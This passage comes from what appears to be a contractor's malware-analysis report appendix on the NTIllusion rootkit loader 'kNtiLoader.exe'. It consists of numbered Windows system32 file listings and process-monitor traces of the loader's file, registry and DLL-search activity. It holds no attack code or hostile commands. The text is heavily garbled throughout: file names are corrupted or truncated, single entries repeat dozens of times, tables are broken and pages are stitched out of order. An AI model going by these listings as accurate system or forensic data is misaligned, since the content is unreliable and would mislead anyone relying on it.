autodisc.dll, 83:
AUTOEXEC.NT, 84:
autofmt.exe, 85:
autolfn.exe, 86:
avicap.dll, 87:
avicap32.dll, 88:
avifil32.dll, 89:
avifile.dll, 90:
avmeter.dll, 91:
avtapi.dll, 92:
avwav.dll, 93:
azroles.dll, 94:
basesrv.dll, 95:
batmeter.dll, 96:
batt.dll, 97: bidispl.dll,
98: bios1.rom, 99:
bios4.rom, 100: bits,
101: bitsprx2.dll, 102:
bitsprx3.dll, 103:
bitsprx4.dll, 104:
blackbox.dll, 105:
blastcln.exe, 106:
bootcfg.exe, 107:
bootok.exe, 108:
bootvid.dll, 109:
boottvrfy.exe, 110:
bopomofo.uce, 111:
browsecl.dll, 112:
browser.dll, 113:
browseui.dll, 114:
browswm.dll, 115:
bthci.dll, 116:
bthprops.cpl, 117:
bthserv.dll, 118:
btpanui.dll, 119:
cabinet.dll, 120:
cabview.dll, 121:
cacls.exe, 122:
calc.exe, 123:
canox.dll, 124:
capesnpn.dll, 125:
capicom.dll, 126:
cards.dll, 127:
CatRoot, 128:
CatRoot2, 129:
catsrv.dll, 130:
catsrvps.dll, 131:
catsrvut.dll, 132:
ccfgnt.dll, 133:
cdfview.dll, 134:
cdm.dll, 135:
cdmodem.dll, 136:
cdosys.dll, 137:
cdplayer.exe.manifest,
138: certcli.dll, 139:
certmgr.dll, 140:
certmgr.msc, 141:
cewmdm.dll, 142:
cfgbkend.dll, 143:
cfgmgr32.dll, 144:
charmap.exe, 145:
cexp.com, 146:
chkdsk.exe, 147:
chkntfs.exe, 148:
ciadmin.dll, 149:
ciadv.msc, 150: cic.dll,
151: cidaemon.exe,
152: ciodm.dll, 153:
cipher.exe, 154:
cisvc.exe, 155:
ccknv.exe, 156: clb.dll,
157: clbcatex.dll, 158:
clbcatq.dll, 159:
cleangr.exe, 160:
cliconf.chm, 161:
cliconfig.dll, 162:
cliconfig.exe, 163:
cliconfig.rll, 164:
clipbrd.exe, 165:
clipsrv.exe, 166:
clusapi.dll, 167:
cmcfg32.dll, 168:
cmd.exe, 169:
cmdial32.dll, 170:
cmd32.exe, 171:
cmdlib.wsc, 172:
cmmgr32.hlp, 173:
cmmon32.exe, 174:
cmos.ram, 175:
cmphpk32.dll, 176:
cmprops.dll, 177:
cmsetacl.dll, 178:
cmstp.exe, 179:
cmutil.dll, 180:
cnbjmon.dll, 181:

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
hidphone.tsp, 109:
himem.sys, 110:
link.dll, 111:
hnetcfg.dll, 112:
hnetmon.dll, 113:
hnetwiz.dll, 114:
homepage.inf, 115:
hostname.exe, 116:
hotplug.dll, 117:
hscisp2.dll, 118:
hview.dll, 119:
html.iec, 120:
httpapi.dll, 121:
htui.dll, 122:
hyperterm.dll, 123:
ias25_32.ax, 124: ias, 125: iasacct.dll, 126:
iasads.dll, 127:
iasdbpr.dll, 128:
iasnap.dll, 129:
iaspolcy.dll, 130:
iasrad.dll, 131:
iasrecst.dll, 132:
iassam.dll, 133:
assdo.dll, 134:
ssvcs.dll, 135:
icaapi.dll, 136:
icvid.dll, 137:
iccvid.dll, 138:
icfgnt5.dll, 139:
icm32.dll, 140:
icmui.dll, 141:
icxml.dll, 142:
icra03.rat, 143:
icwdial.dll, 144:
icwphbk.dll, 146:
ideograf.uce, 147:
idndll.dll, 148: idq.dll, 149: ie4uinit.exe, 150:
IE7Eula.rtf, 151:
ieakeng.dll, 152:
ieaksie.dll, 153:
ieakui.dll, 154:
ieapl.dll, 155:
ieapl.dll, 156:
iekcs32.dll, 157:
ieencode.dll, 158:
ieframe.dll, 159:
ieframe.dll.mui, 160:
iepeers.dll, 161:
iehre.dll, 162:
iehint.dll, 163:
ieis.dll, 164:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>File Name</th>
<th>Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>ir41_qc.dll</td>
<td>221</td>
</tr>
<tr>
<td>ir41_qcx.dll</td>
<td>222</td>
</tr>
<tr>
<td>ir50_32.dll</td>
<td>223</td>
</tr>
<tr>
<td>ir50_qc.dll</td>
<td>224</td>
</tr>
<tr>
<td>ir50_qcx.dll</td>
<td>225</td>
</tr>
<tr>
<td>irclass.dll</td>
<td>226</td>
</tr>
<tr>
<td>irprops.cpl</td>
<td>227</td>
</tr>
<tr>
<td>isign32.dll</td>
<td>228</td>
</tr>
<tr>
<td>isrdbg32.dll</td>
<td>229</td>
</tr>
<tr>
<td>itircl.dll</td>
<td>230</td>
</tr>
<tr>
<td>itss.dll</td>
<td>231</td>
</tr>
<tr>
<td>iuengine.dll</td>
<td>232</td>
</tr>
<tr>
<td>ivfsrec.ax</td>
<td>233</td>
</tr>
<tr>
<td>ixsso.dll</td>
<td>234</td>
</tr>
<tr>
<td>iyuv_32.dll</td>
<td>235</td>
</tr>
<tr>
<td>jet500.dll</td>
<td>236</td>
</tr>
<tr>
<td>jgaw400.dll</td>
<td>237</td>
</tr>
<tr>
<td>jgdw400.dll</td>
<td>238</td>
</tr>
<tr>
<td>jgmd400.dll</td>
<td>239</td>
</tr>
<tr>
<td>jgpl400.dll</td>
<td>240</td>
</tr>
<tr>
<td>jgsd40.dll</td>
<td>241</td>
</tr>
<tr>
<td>kNTiLoader.exe</td>
<td>QueryDirect</td>
</tr>
<tr>
<td>C:\WINDOWS\system32</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
msencode.dll, 91:
msexch40.dll, 92:
msexc40.dll, 93:
msfeeds.dll, 94:
msfeedsbs.dll, 95:
msfeedssync.exe, 96:
msftedit.dll, 97:
msg.exe, 98:
msg711.acm, 99:
msg723.acm, 100:
msgina.dll, 101:
msgsm32.acm, 102:
msgsvc.dll, 103:
msh261.drv, 104:
msh263.drv, 105:
mshearts.exe, 106:
mshta.exe, 107:
mshtml.dll, 108:
mshtml.thb, 109:
mshtmlled.dll, 110:
mshtmler.dll, 111:
msi.dll, 112:
msident.dll, 113:
msidle.dll, 114:
msidntld.dll, 115:
msieftp.dll, 116:
msiexec.exe, 117:
msihnd.dll, 118:
msimg32.dll, 119:
msimsg.dll, 120:
msimtf.dll, 121:
msisip.dll, 122:
msjet40.dll, 123:
msjetoledb40.dll, 124:
msjetint40.dll, 125:
msjeter40.dll, 126:
msjetint40.dll, 127:
mslbui.dll, 128:
msls31.dll, 129:
msltus40.dll, 130:
msnetobj.dll, 131:
msnspec.dll, 132:
msobjs.dll, 133:
msoeacct.dll, 134:
msoert.dll, 135:
msorcl.dll, 136:
msorcl.dll, 137:
mspaint.exe, 138:
mspatcha.dll, 139:
mspbde40.dll, 140:
mspmnsv.dll, 141:
mspmsp.dll, 142:
msports.dll, 143:
msprv.dll, 144:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
msr2c.dll, 145:
msr2cenu.dll, 146:
msratele.dll, 147:
msrating.dll, 148:
msrcl40.dll, 149:
msrdc40.dll, 150:
msrd3x40.dll, 151:
msre20.dll, 152:
msrepl40.dll, 153:
msre32.dll, 154:
msap.dll, 155:
mscds32.ax, 156:
mscp.dll, 157:
mscript.oex, 158:
msdm.dll, 159:
msdmmsg.dll, 160:
msdm32.dll, 161:
msdm3.dll, 162:
msdm.dll, 163:
msdm.dll, 164:
msdm.dll, 165:
msdm.dll, 166:
msdm.dll, 167:
msdm.dll, 168:
msdm.dll, 169:
msdm.dll, 170:
msdm.dll, 171:
msdm.dll, 172:
msdm.dll, 173:
msdm.dll, 174:
msdm.dll, 175:
msdm.dll, 176:
msdm.dll, 177:
msdm.dll, 178:
msdm.dll, 179:
msdm.dll, 180:
msdm.dll, 181:
msdm.dll, 182:
msdm.dll, 183:
msdm.dll, 184:
msdm.dll, 185:
msdm.dll, 186:
msdm.dll, 187:
msdm.dll, 188:
msdm.dll, 189:
msdm.dll, 190:
msdm.dll, 191:
msdm.dll, 192:
msdm.dll, 193:
msdm.dll, 194:
msdm.dll, 195:
msdm.dll, 196:
msdm.dll, 197:
msdm.dll, 198:
msxml6r.dll, 199:
msxmlr.dll, 200:
msyuv.dll, 201:
mtxclu.dll, 202:
mtxdm.dll, 203:
mtxex.dll, 204:
mtxlegih.dll, 205:
mtxoci.dll, 206:
mtxparhd.dll, 207:
mui, 208:
mycomput.dll, 209:
mydocs.dll, 210:
napipsec.dll, 211:
napmontr.dll, 212:
napstat.exe, 213:
narrator.exe, 214:
narrhook.dll, 215:
nbtstat.exe, 216:
ncbjapi.dll, 217:
ncpa.cpl, 218:
ncpa.cpl.manifest, 219:
cxptnt.dll, 220:
nddeapi.dll, 221:
nddeapir.exe, 222:
nddenb32.dll, 223:
ndptsp.tsp, 224:
et.exe, 225: net.hlp,
226: net1.exe, 227:
etapi.dll, 228:
etapi32.dll, 229:
etcfgx.dll, 230:
etdde.exe, 231:
etevent.dll, 232:
etfxperf.dll, 233:
net.dll, 234: netid.dll,
235: netlogon.dll, 236:
etman.dll, 237:
etmsg.dll

0: profmap.dll, 1:
progmmap.exe, 2:
proquota.exe, 3:
proxycfg.exe, 4:
psapi.dll, 5: psbase.dll,
6: pschdcent.h, 7:
pschdprof.dll, 8:
pschdprof.ini, 9:
pscript.sep, 10:
pnppagn.dll, 11:
pstorec.dll, 12:
pstorsvc.dll, 13:
qthreadVC.dll, 14:
pubprnvbs, 15:

The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBChC80048. SBIR Data Rights apply.

-92-
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under a contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-96-
w32time.dll, 2:
w32tm.exe, 3:
w32topl.dll, 4:
w3ssl.dll, 5:
WanPacket.dll, 6:
watchdog.sys, 7:
wavemsp.dll, 8:
wbcache.deu, 9:
wbcache.enu, 10:
wbcache.esn, 11:
wbcache.fra, 12:
wbcache.ita, 13:
wbcache.nld, 14:
wbcache.sve, 15:
wbdbase.deu, 16:
wbdbase.enu, 17:
wbdbase.esn, 18:
wbdbase.fra, 19:
wbdbase.ita, 20:
wbdbase.nld, 21:
wbdbase.sve, 22:
whem, 23: 
wdigest.dll,
24: 
wdl.trm, 25:
wdmaud.drv, 26:
webcheck.dll, 27:
webclnt.dll, 28:
webcheck.dll, 29:
webhits.dll, 30:
webwv.dll, 31:
webhits.dll, 32:
webwav.dll, 33:
webwv.dll, 34:
webwv.dll, 35:
webwv.dll, 36:
webwv.dll, 37:
webwv.dll, 38:
webwv.dll, 39:
webwv.dll, 40:
webwv.dll, 41:
webwv.dll, 42:
webwv.dll, 43:
webwv.dll, 44:
webwv.dll, 45:
webwv.dll, 46:
webwv.dll, 47:
webwv.dll, 48:
webwv.dll, 49:
webwv.dll, 50:
winchat.exe, 51:
windowscodecs.dll,
52:
windowscodecs.dllext.dll,
53:
WindowsLogon.manif

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
wmspdmod.dll, 111:
wmspdmoex.dll, 112:
wmsstream.dll, 113:
wmv8ds32.ax, 114:
wmvcore.dll, 115:
wmvdmod.dll, 116:
wmvdmoex2.dll, 117:
wmvds32.ax, 118:
wov32.dll, 119:
wowdeb.exe, 120:
wowexec.exe, 121:
wowfax.dll, 122:
wowfaxui.dll, 123:
wpable.dll, 124:
wpa.dll, 125:
wpcap.dll, 126:
wppininst.exe, 127:
write.exe, 128:
ws2help.dll, 129:
ws2_32.dll, 130:
wsentfy.exe, 131:
ws董事.exe, 132:
wsescv.dll, 133:
wsescv.dll, 134:
wsese.dll, 135:
wsatm.dll, 136:
wsbb.dll, 137:
wscon.dll, 138:
wshe.dll, 139:
wshe.dll, 140:
wsin.dll, 141:
wsin.dll, 142:
wsinh.dll, 143:
wsinh.dll, 144:
wshtcpp.dll, 145:
wsnpms.dll, 146:
wssock.dll, 147:
wsdecode.dll, 148:
wsstpager.ax, 149:
wsstrenderer.ax, 150:
wsstapi.dll, 151:
wsapi.dll, 152:
wsapi.dll.mui, 153:
wuaclt.exe, 154:
wuaclt1.exe, 155:
wwaucpl.dll, 156:
wwaucpl.dll, 157:
wwaucpl.dll, 158:
wwaucpl.dll.mui, 159:
wwaucpl.dll.mui, 160:
wwaueng.dll, 161:
wwaueng.dll, 162:
wwauclt.dll, 163:
wwauclt.dll, 164:

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Process</th>
<th>Function</th>
<th>Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryDirectory</td>
<td>C:\WINDOWS\system32</td>
<td>NO MORE FILES</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CloseFile</td>
<td>C:\WINDOWS\system32</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\ntdll.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryStandardInfoFile</td>
<td>C:\WINDOWS\system32\ntdll.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\kernel32.dll</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryStandardInfoFile</td>
<td>C:\WINDOWS\system32\kernel32.dll</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-100-
<table>
<thead>
<tr>
<th>kNtiLoader.exe</th>
<th>CreateFile</th>
<th>C:\WINDOWS\system32\unicode.nls</th>
<th>SUCCESS</th>
</tr>
</thead>
<tbody>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryStandardInformation</td>
<td>C:\WINDOWS\system32\unicode.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\locale.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryStandardInformation</td>
<td>C:\WINDOWS\system32\locale.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32\sorttbls.nls</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>QueryStandardInformation</td>
<td>C:\WINDOWS\system32\sorttbls.nls</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kNtiLoader.exe  CreateFile  C:\Documents and Settings\210user\Desktop\KNTILOADER.EXE  SUCCESS

kNtiLoader.exe  QueryStandard_informationFile  C:\Documents and Settings\210user\Desktop\kNtiLoader.exe  SUCCESS

kNtiLoader.exe  CreateFile  C:\WINDOWS\system32\ctype.nls  SUCCESS

kNtiLoader.exe  QueryStandard_informationFile  C:\WINDOWS\system32\ctype.nls  SUCCESS

kNtiLoader.exe  CreateFile  C:\WINDOWS\system32\sortkey.nls  SUCCESS

kNtiLoader.exe  QueryStandard_informationFile  C:\WINDOWS\system32\sortkey.nls  SUCCESS

kNtiLoader.exe  CloseFile  C:\WINDOWS\system32\ntdll.dll  SUCCESS

kNtiLoader.exe  CloseFile  C:\WINDOWS\system32\kernel32.dll  SUCCESS

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kNtiLoader.exe CloseFile \%SystemRoot\%system32\kernel32.dll SUCCESS
kNtiLoader.exe CloseFile \%SystemRoot\%system32\unicode.nls SUCCESS
kNtiLoader.exe CloseFile \%SystemRoot\%system32\locale.nls SUCCESS
kNtiLoader.exe CloseFile \%SystemRoot\%system32\sortibs.nls SUCCESS
kNtiLoader.exe CloseFile Documents and Settings\210user\Desktop\kNtiLoader.exe SUCCESS
kNtiLoader.exe CloseFile \%SystemRoot\%system32\ctype.nls SUCCESS
kNtiLoader.exe CloseFile \%SystemRoot\%system32\sortkey.nls SUCCESS
kNtiLoader.exe CreateFile \%SystemRoot\%system32\ntdll.dll SUCCESS
Desired Access: Execute/Traverse, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened
kNtiLoader.exe CreateFile \%SystemRoot\%system32\kernel32.dll SUCCESS
Desired Access: Execute/Traverse, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened
kNtiLoader.exe CreateFile Documents and Settings\210user\Desktop\KNTILOADER.EXE SUCCESS
Desired Access: Execute/Traverse, Disposition: Open, Options: Non-Directory File, Attributes: N, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened
kNtiLoader.exe CloseFile \%SystemRoot\%system32\ntdll.dll SUCCESS
kNtiLoader.exe CloseFile \%SystemRoot\%system32\kernel32.dll SUCCESS
kNtiLoader.exe CloseFile Documents and Settings\210user\Desktop\kNtiLoader.exe SUCCESS
kNtiLoader.exe CloseFile \%SystemRoot\%system32\ntdll.dll SUCCESS
kNtiLoader.exe CloseFile Documents and Settings\210user\Desktop\kNtiLoader.exe SUCCESS
kNtiLoader.exe CloseFile \%SystemRoot\%system32\ntdll.dll SUCCESS
kNtiLoader.exe CloseFile Documents and Settings\210user\Desktop\kNtiLoader.exe SUCCESS
kNtiLoader.exe CloseFile Documents and Settings\210user\Desktop\kNtiLoader.exe SUCCESS
kNtiLoader.exe RegOpenKey HKLM\Software\Microsoft\NAME NOT SUCCESS
Desired Access: Read

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kNtiLoader.exe CreateFile C:\Documents and Settings\210user\Desktop SUCCESS

kNtiLoader.exe FileSystemControl C:\Documents and Settings\210user\Desktop\kNtiLoader.exe.Local NAME NOT FOUND

kNtiLoader.exe QueryOpen C:\Documents and Settings\210user\Desktop\NAME NOT FOUND

kNtiLoader.exe Load Image C:\WINDOWS\System32\kernel32.dll SUCCESS

kNtiLoader.exe RegOpenKey HKLM\System\CurrentControlSet\Control\Terminal Server SUCCESS

kNtiLoader.exe RegQueryValue HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat SUCCESS Type: REG_DWORD, Length: 4, Data: 0

kNtiLoader.exe RegCloseKey HKLM\System\CurrentControlSet\Control\Terminal Server SUCCESS

kNtiLoader.exe RegOpenKey HKLM\System\CurrentControlSet\Control\Session Manager SUCCESS

kNtiLoader.exe RegQueryValue HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode NAME NOT FOUND Length: 16

kNtiLoader.exe RegCloseKey HKLM\System\CurrentControlSet\Control\Session Manager SUCCESS

kNtiLoader.exe QueryOpen C:\Documents and Settings\210user\Desktop\kNtiLoader.exe.Local NAME NOT FOUND

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kNtiLoader.exe QueryStandardInformation C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf SUCCESS
C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf
kNtiLoader.exe ReadFile C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf SUCCESS
kNtiLoader.exe CloseFile HKLM\Software\Microsoft\Windows\NT\CurrentVersion\Image File Execution Options\kNtiLoader.exe SUCCESS
NAME NOT FOUND
ShareMode: None, AllocationSize: n/a, OpenResult: Opened AllocationSize: 4,096, EndOfFile: 3,212, NumberOfLinks: 1, DeletePending: False, Directory: False
Offset: 0, Length: 3,212
kNtiLoader.exe RegOpenKey HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat SUCCESS Desired Access: Read
kNtiLoader.exe CreateFile C:\Documents and Settings\210user\Desktop SUCCESS Desired Access: Execute/Traverse, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Attributes: n/a, ShareMode: Read, Write, AllocationSize: n/a, OpenResult: Opened
Control: FSCTL_IS_VOLUME_MOUNTED
kNtiLoader.exe FileSystemControl C:\Documents and Settings\210user\Desktop SUCCESS
kNtiLoader.exe QueryOpen C:\Documents and Settings\210user\Desktop\kNtiLoader.exe.Local NAME NOT FOUND
Image Base: 0x7c800000, Image Size: 0xf6000
kNtiLoader.exe Load Image C:\WINDOWS\System32\kernel32.dll SUCCESS Desired Access: Read
Type: REG_DWORD, Length: 4, Data: 0
kNtiLoader.exe RegOpenKey HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat SUCCESS
kNtiLoader.exe RegQueryValue HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat SUCCESS
kNtiLoader.exe RegCloseKey HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat SUCCESS
kNtiLoader.exe RegOpenKey HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat SUCCESS Desired Access: Read
Type: REG_DWORD, Length: 4, Data: 0
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kNtiLoader.exe RegOpenKey HKLM\System\CurrentControlSet\Control\Terminal Server SUCCESS Desired Access: Read
kNtiLoader.exe RegQueryValue HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat SUCCESS Type: REG_DWORD, Length: 4, Data: 0
kNtiLoader.exe RegCloseKey SUCCESS
kNtiLoader.exe RegOpenKey HKLM\System\CurrentControlSet\Control\Terminal Server SUCCESS Desired Access: Read
kNtiLoader.exe RegQueryValue HKLM\System\CurrentControlSet\Control\Terminal Server\TSAppCompat SUCCESS Type: REG_DWORD, Length: 4, Data: 0
kNtiLoader.exe RegCloseKey SUCCESS
kNtiLoader.exe RegOpenKey HKLM\System\CurrentControlSet\Control\Session Manager SUCCESS Desired Access: Query Value
kNtiLoader.exe RegQueryValue HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode NAME NOT FOUND Length: 16
kNtiLoader.exe RegCloseKey SUCCESS
kNtiLoader.exe QueryOpen C:\Documents and Settings\210user\Desktop\kNTIillusion.dll NAME NOT FOUND
kNtiLoader.exe QueryOpen C:\WINDOWS\System32\kNTIillusion.dll NAME NOT FOUND
kNtiLoader.exe QueryOpen C:\WINDOWS\System\kNTIillusion.dll NAME NOT FOUND
kNtiLoader.exe QueryOpen C:\WINDOWS\kNTIillusion.dll NAME NOT FOUND
kNtiLoader.exe QueryOpen C:\Documents and Settings\210user\Desktop\kNTIillusion.dll NAME NOT FOUND
kNtiLoader.exe QueryOpen C:\WINDOWS\System32\kNTIillusion.dll NAME NOT FOUND
kNtiLoader.exe QueryOpen C:\WINDOWS\kNTIillusion.dll NAME NOT FOUND
kNtiLoader.exe QueryOpen C:\\\W\\I\\\system32\\wbem\\kNTIillusion.dll NAME NOT FOUND
kNtiLoader.exe Thread Exit SUCCESS
kNtiLoader.exe Process Exit SUCCESS

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
Private Bytes: 196,608, Working Set: 614,400, Peak Working Set: 618,496

kNtiLoader.exe CloseFile C:\Documents and Settings\210user\Desktop SUCCESS
kNtiLoader.exe Process Start Thread Create SUCCESS Parent PID: 1424
kNtiLoader.exe Create SUCCESS Thread ID: 1144
kNtiLoader.exe Load Image C:\Documents and Settings\210user\Desktop\kNtiLoader.exe SUCCESS
kNtiLoader.exe Load Image C:\WINDOWS\system32\ntdll.dll SUCCESS
kNtiLoader.exe Load Image C:\Documents and Settings\210user\Desktop\kNtiLoader.exe SUCCESS
kNtiLoader.exe QueryNameInformationFile C:\Documents and Settings\210user\Desktop\kNtiLoader.exe SUCCESS
kNtiLoader.exe CreateFile C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf SUCCESS
kNtiLoader.exe QueryStandardInformationFile C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf SUCCESS
kNtiLoader.exe ReadFile C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf SUCCESS
kNtiLoader.exe CloseFile C:\WINDOWS\Prefetch\KNTILOADER.EXE-2AE6600B.pf SUCCESS
kNtiLoader.exe RegOpenKey C:\Documents and Settings\210user\Desktop SYSTEM\CurrentVersion\Image File Execution Options\kNtiLoader.exe NAME NOT FOUND Desired Access: Read
kNtiLoader.exe CreateFile C:\Documents and Settings\210user\Desktop SUCCESS

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
kNtiLoader.exe  QueryInformationVolume  C:  SUCCESS

kNtiLoader.exe  FileSystemControl  C:  SUCCESS

<table>
<thead>
<tr>
<th>kNtiLoader.exe</th>
<th>CreateFile</th>
<th>C:\  SUCCESS</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>kNtiLoader.exe</th>
<th>QueryDirectory</th>
<th>C:\  SUCCESS</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened</td>
<td></td>
</tr>
<tr>
<td></td>
<td>No More Files</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>kNtiLoader.exe</th>
<th>CloseFile</th>
<th>C:\  SUCCESS</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened</td>
<td></td>
</tr>
<tr>
<td></td>
<td>No More Files</td>
<td></td>
</tr>
</tbody>
</table>

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
<table>
<thead>
<tr>
<th>Process</th>
<th>Operation</th>
<th>Path</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>kNTiLoader.exe</td>
<td>QueryDirectory</td>
<td>C:\Documents and Settings\210\Desktop</td>
<td>NO MORE FILES</td>
</tr>
<tr>
<td>kNTiLoader.exe</td>
<td>CloseFile</td>
<td>C:\Documents and Settings\210\Desktop</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNTiLoader.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

Desired Access: Read Data/List Directory, Synchronize, Disposition: Open, Options: Directory, Synchronous IO Non-Alert, Open For Backup, Attributes: n/a, ShareMode: Read, Write, Delete, AllocationSize: n/a, OpenResult: Opened:

Programs:
- flypaper.exe, 5:
- handle.exe, 6:
- kinject.exe, 7:
- kNTiLoader.exe, 8:
- livekd.exe, 9:
- NTillusion, 10:
- procexp.exe, 11:
- Procmon.exe, 12:
- pslist.exe, 13: upx.exe, 14: wireshark-setup-1.0.2.exe

The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.
The contents of this report were produced by SAIC, Inc., under to contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

-117-
The contents of this report were produced by SAIC, Inc., under contract to HBGary, Inc., for contract number NBCHC80048. SBIR Data Rights apply.

<table>
<thead>
<tr>
<th>kNtiLoader.exe</th>
<th>QueryDirect</th>
<th>C:\WINDOWS</th>
<th>NO MORE FILES</th>
</tr>
</thead>
<tbody>
<tr>
<td>kNtiLoader.exe</td>
<td>CloseFile</td>
<td>C:\WINDOWS</td>
<td>SUCCESS</td>
</tr>
<tr>
<td>kNtiLoader.exe</td>
<td>CreateFile</td>
<td>C:\WINDOWS\system32</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>


-120-
